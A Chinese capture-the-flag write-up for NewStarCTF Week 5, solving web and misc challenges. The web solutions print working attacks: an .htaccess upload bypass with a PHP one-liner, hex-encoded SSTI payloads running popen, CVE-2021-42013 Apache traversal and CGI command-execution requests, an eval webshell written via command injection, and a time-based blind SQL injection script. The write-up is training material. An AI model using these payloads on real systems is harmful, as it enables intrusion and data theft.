BUUCTF NewStarCTF 公开赛赛道Week5 Writeup

news2024/11/19 5:53:16

文章目录

  • WEB
    • Give me your photo PLZ
    • BabySSTI_Three
    • Unsafe Apache
    • So Baby RCE Again
    • Final round
  • MISC
    • 最后的流量分析
    • 奇怪的PDF 2
    • 奇怪的文本
    • Yesec no drumsticks 5
    • qsdz's girlfriend 5


WEB

Give me your photo PLZ

可上传.htaccess

AddType application/x-httpd-php .jpg

在这里插入图片描述
然后上传一个附加了一句话木马的图片,然后访问即可当作php文件解析

在这里插入图片描述

在这里插入图片描述

BabySSTI_Three

之前用的是字符串逆序绕过,这里过滤了:,然后用十六进制绕过即可

def hex_payload(payload):
	res_payload = ''
	for i in payload:
		i = "\\x" + hex(ord(i))[2:]
		res_payload += i
	print('[+]"{}" Convert to hex: "{}"'.format(payload,res_payload))

if __name__ == '__main__':
	payload = "__class__"
	hex_payload(payload)
{{''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x73\x5f\x5f'][0]}}

{{''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x73\x5f\x5f'][0]['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()}}

{{''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x73\x5f\x5f'][0]['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[117]['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x70\x6f\x70\x65\x6e']('id').read()}}

{{''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x73\x5f\x5f'][0]['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[117]['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x70\x6f\x70\x65\x6e']('tail${IFS}/fl*').read()}}

有了命令执行之后还需要有点绕过即可读取到flag

在这里插入图片描述

Unsafe Apache

在这里插入图片描述

这个版本有一个在CVE-2021-41773/Apache2.4.49 HTTP Server 路径穿越漏洞 原漏洞修复不完整导致的CVE(CVE-2021-42013)

/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

在这里插入图片描述
可命令执行

/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh

echo;ls -lha /

在这里插入图片描述

So Baby RCE Again

在这里插入图片描述

?cmd=ls -lha / > 1.txt

在这里插入图片描述

SUID提权:find / -perm -u=s -type f 2>/dev/null > ./1.txt

在这里插入图片描述
写入一句话木马

?cmd=echo '<?php @eval($_POST[7]); ?>' > mochu7.php

在这里插入图片描述
蚁剑连接,date -f读取

在这里插入图片描述

Final round

延时盲注

在这里插入图片描述
直接脚本跑

import requests
import time

myurl = 'http://f7a282ac-9041-48a6-b86a-5bbe042f7035.node4.buuoj.cn:81/comments.php'
myheaders = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0", 
             "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", 
             "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", 
             "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", 
             "Connection": "close", "Upgrade-Insecure-Requests": "1"}
content = ''
for pos in range(500):
    min_num = 32
    max_num = 126
    mid_num = (min_num + max_num) // 2
    while (min_num < max_num):
        payload = 'name=if(ord(mid((select(group_concat(text))from(wfy.wfy_comments)),{},1))>{},sleep(0.2),100)'.format(pos, mid_num)
        resp = requests.post(url=myurl, headers=myheaders, data=payload)
        resp_time = resp.elapsed.total_seconds()
        if resp_time > 2:
            min_num = mid_num + 1
        else:
            max_num = mid_num
        mid_num = ((min_num + max_num) // 2)
    content += chr(min_num)
    print(content)

延时盲注时间太长,不建议重0开始跑,可以根据之前的几周的这道题的flag具体在哪个位置开始跑,缩短时间

在这里插入图片描述

MISC

最后的流量分析

简单的盲注流量分析

在这里插入图片描述
当响应包的长度>765时,该条查询语句正确,tshark导出查询语句和查询正确的判断条件(包长度)

tshark -r sqli.pcap -T fields -Y "http.request.method==GET or frame.len>765" -e "frame.len" -e "http.request.uri.query.parameter" > data.txt

Python简单处理

from urllib.parse import *
import re

comment = ''
with open('data.txt') as f:
	lines = f.readlines()
	for i in range(len(lines)):
		if int(lines[i][:3])>765:
			comment += re.findall(r'"(.)"', unquote(lines[i-1]))[0]
print(comment)
PS C:\Users\Administrator\Downloads> python .\code.py
flag{c84bb04a-8663-4ee2-9449-349f1ee83e11}

奇怪的PDF 2

strange2.pdf.lnk发现大量Base64

在这里插入图片描述
Python脚本简单提取

with open('strange2.pdf.lnk', 'rb') as f:
	f.seek(0x8d8)
	with open('data.txt', 'wb') as f1:
		f1.write(f.read(0x160424-0x8d8))

提取之后发现有两行Base64,尝试解码了头部一段发现是.cab文件,且第一行的得到的.cab文件有点问题打不开,第二行的解码得到可以正常打开

from base64 import *

with open('data.txt') as f:
	lines = f.readlines()
	with open('2.cab', 'wb') as f1:
		f1.write(b64decode(lines[1]+'=='))

在这里插入图片描述
选择一个文件夹提取出来即可,得到flag

flag{It_1s_a_fak3_but_r3al_PDF}

奇怪的文本

task.txt猜测字频

在这里插入图片描述

alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()\_+-/={}[] "#所有正常打印字符
strings = open('./task.txt').read()#读取需要统计频数的文本

result = {}
for i in alphabet:
    counts = strings.count(i)
    i = '{0}'.format(i)
    result[i] = counts

res = sorted(result.items(), key=lambda item: item[1], reverse=True)
num = 0
for data in res:
    num += 1
    print('频数第{0}: {1}'.format(num, data))

print('\n---------------以下是频数从多到少的字符,按照从前到后排序---------------')
for i in res:
    flag = str(i[0])
    print(flag[0], end="")
---------------以下是频数从多到少的字符,按照从前到后排序---------------
flag{S0B48yCA}tipk91v[_bcdehjmnoqrsuwxzDEFGHIJKLMNOPQRTUVWXYZ23567!@#$%^&*()\+-/=]

Yesec no drumsticks 5

PS C:\Users\Administrator\Downloads\Yesec_no_drumsticks_5> git stash pop
On branch master
Changes not staged for commit:
  (use "git add <file>..." to update what will be committed)
  (use "git restore <file>..." to discard changes in working directory)
        modified:   flag.txt

no changes added to commit (use "git add" and/or "git commit -a")
Dropped refs/stash@{0} (5d4b28bdf154e648d74e3836dd838beb77cec898)
PS C:\Users\Administrator\Downloads\Yesec_no_drumsticks_5> cat .\flag.txt
flag{Yesec#1s#c@ibi}

qsdz’s girlfriend 5

在这里插入图片描述
在这里插入图片描述
使用Winrar解压,然后使用NTFStreamsEditor

在这里插入图片描述
得到密码,解压

Can_you_crack_steghide?

得到second_gf.jpg,根据密码提示进行爆破,这里利用stegseek

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/726.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

干货!手把手教你穿透内网

干货&#xff01;手把手教你穿透内网干货&#xff01;手把手教你穿透内网cpolar内网穿透使用场景如何使用cpolar内网穿透&#xff1f; ↓↓1. 注册cpolar账号2. 安装cpolar内网穿透2.1 Windows系统2.2 Linux系统2.2.1 安装2.2.2 向系统添加服务2.2.3 启动服务2.2.4 查看服务状态…

生成二维码或条形码JavaScript脚本库

二维码或条形码在日常生活中现在应用已经非常普遍了&#xff0c;文章分享生成条形码和二维码的JavaScript库。 条形码 条形码是日常生活中比较常见的&#xff0c;主要用于商品。通俗的理解就是一串字符串的集合&#xff08;含字母、数字及其它ASCII字符的集合应用&#xff09…

【机器学习基础】 线性回归

线性回归1、线性回归定义2、线性回归题目示例3、推导公式4、误差5、似然函数6、线性回归评价指标7、梯度下降1、线性回归定义 经典统计学习技术中的线性回归和softmax回归可以视为 线性神经⽹络。给定训练数据特征 X 和对应的已知标签 y &#xff0c;线性回归的⽬标是找到⼀组权…

Seata安装启动

一、下载 https://github.com/seata/seata/releases/download/v1.4.2/seata-server-1.4.2.zip 二、启动 在安装路径下cmd seata-server.bat -h 127.0.0.1 -m file 三、作用 Seata是分布事务解决方案&#xff0c;seata保证微服务远程调用业务的原子性 Seata将为用户提供了 …

Spring Cloud LoadBalancer--负载均衡的原理(源码分析)

原文网址&#xff1a;Spring Cloud LoadBalancer--负载均衡的原理&#xff08;源码分析&#xff09;_IT利刃出鞘的博客-CSDN博客 简介 说明 本文介绍Spring Cloud LoadBalancer负载均衡的原理。 SpringCloud从2020版本开始移除了对Ribbon的依赖&#xff0c;官方使用Spring Cl…

VsCode中一些可以让工作“事半功倍”的插件

1.GitLens — Git supercharged 这个插件可以查看代码修改的消息&#xff0c;比如是谁修改的以及修改时间 2.Chinese (Simplified) (简体中文) 简体中文&#xff0c;这个可以说是装的最多的一款插件了 3.Auto Close Tag 标签自动补全 4.Auto Rename Tag&#xff1a;自动完…

2021第7届中国大学生程序设计竞赛CCPC广州站, 签到题4题

文章目录I.Pudding StoreH.Three IntegersC.NecklaceF.Cactus补题链接&#xff1a;https://codeforces.com/gym/103415 I.Pudding Store I. Pudding Store time limit per test2.0 s memory limit per test512 megabytes inputstandard input outputstandard output 159 is a…

快速排序图解(两种思想)

七大排序之快速排序 文章目录七大排序之快速排序前言一、《算法导论》中的分区思想1.1 算法思想1.2 代码实现二、Hoare挖坑法2.1 算法思想2.2 代码实现三、算法分析四、注意事项总结前言 博主个人社区&#xff1a;开发与算法学习社区 博主个人主页&#xff1a;Killing Vibe的博…

【每天学习一点新知识】网络安全--截获攻击

截获攻击原理和后果 原理 若正常传输路径为终端A到终端B&#xff0c;黑客首先改变传输路径为终端A—黑客终端—终端B&#xff0c;使得传输信息必须经过黑客终端&#xff0c;黑客终端就可以截获终端A传输给终端B的消息。 后果 目前很多访问过程采用明码方式传输登录的用户名和密…

C++入门基础(下)

目录 引用 引用概念 引用特性 1.引用在定义时必须初始化 2.一个变量可以有多个引用 3.引用一旦引用一个实体&#xff0c;再不能引用其他实体. 常引用 使用场景 1.作为参数使用 2.作为返回值使用 引用和指针的区别 内联函数 内联函数的概念 内联函数特性 宏的优缺点 auto关键字 …

scala spark dataframe 时间加减

参考Adding 12 hours to datetime column in Spark 只针对标准化时间戳 yyyy-MM-dd HH:mm:ss 如果是 yyyy-MM-dd HH:mm 转换后会自动补到 HH:mm:ss ss位补0 时间英文简写查询 HOUR 代表小时 MINUTE 代表分钟 SECOND 代表秒 DAY MONTH YEAR 正数代表向后 负数代表向前 …

AI绘画突然爆火?快速体验二次元画师NovelAI(diffusion)

目录0 写在前面1 diffusion vs GAN2 NovelAI3 AI绘画环境搭建4 体验AI创作0 写在前面 机器学习强基计划聚焦深度和广度&#xff0c;加深对机器学习模型的理解与应用。“深”在详细推导算法模型背后的数学原理&#xff1b;“广”在分析多个机器学习模型&#xff1a;决策树、支持…

到了30岁,我才有了深刻的感悟:千万不要一辈子靠技术生存

千万不要一辈子靠技术生存&#xff0c;这句话&#xff0c;我也是到了快30岁才有了深刻认知。 当我20多岁&#xff0c;年收入2-3W的时候&#xff0c;我会认为说这话的人都是自身技术不咋地&#xff0c;想靠技术吃饭吃不了。 然而&#xff0c;快30岁了&#xff0c;虽然技术小有…

【Java】之IO流

个人主页&#xff1a;天寒雨落的博客_CSDN博客-C,CSDN竞赛,python领域博主 特别标注&#xff1a;仅为自己的学习记录笔记&#xff0c;方便复习和加深记忆&#xff0c;仅供借鉴参考&#xff01; 目录 IO流概述 IO流分类 按数据的流向 按数据类型 字符流 字节流 字节流写数…

【Linux】虚拟机安装Ubuntu后的一些通用设置

文章目录前言一、虚拟机缩放设置二、实现本机和虚拟机之间复制粘贴共享三、ubuntu中vi文件时方向键等问题四、虚拟机扩容五、时区和时间格式设置六、防火墙相关七、中文输入法问题八、虚拟机和主机之间的互通前言 主要是记录虚拟机中安装ubuntu后一些常规设置操作。 一、虚拟…

当你使用MPLS时,不要忘记还有SD-WAN!

企业网络管理人员和IT部门主管在考虑其WAN架构时最常见的问题就是&#xff1a;“为什么我要选择SD-WAN而不是MPLS&#xff1f;”确实&#xff0c;选择新技术时通常会带来“不确定性”。 与MPLS相比&#xff0c;SD-WAN更便宜&#xff0c;性能更强&#xff0c;也带来了更低成本的…

IDEA安装及Clone代码

IDEA安装及Clone代码 文章目录1.IDEA下载2.IDEA安装3 IDEA clone(克隆) 代码1.IDEA下载 官网下载地址&#xff1a; DEA 分为两个版本&#xff1a; 旗舰版(Ultimate)和社区版(Community)。 旗舰版&#xff1a;收费(限 30 天免费试用)&#xff0c;功能全面&#xff0c;插件丰富…

公众号查题系统搭建

公众号查题系统搭建 本平台优点&#xff1a; 多题库查题、独立后台、响应速度快、全网平台可查、功能最全&#xff01; 1.想要给自己的公众号获得查题接口&#xff0c;只需要两步&#xff01; 2.题库&#xff1a; 查题校园题库&#xff1a;查题校园题库后台&#xff08;点击…

刚来的00后真的卷,听说工作还没两年,跳到我们公司直接起薪20k...

前段时间我们公司来了个00后&#xff0c;工作都没两年&#xff0c;跳槽到我们公司起薪18K&#xff0c;都快接近我了。后来才知道人家是个卷王&#xff0c;从早干到晚就差搬张床到工位睡觉了。 最近和他聊了一次天&#xff0c;原来这位小老弟家里条件不太好&#xff0c;一大家子…

c++内存管理:

目录 new和delete 使用方法&#xff1a; 注意事项&#xff1a; new申请不需要检查返回值 operator new和operator delete函数的讲解 c语言申请内存有哪些方法&#xff1a; 答&#xff1a;malloc calloc realloc三种 #include<stdlib.h> void test() {int*p1 (in…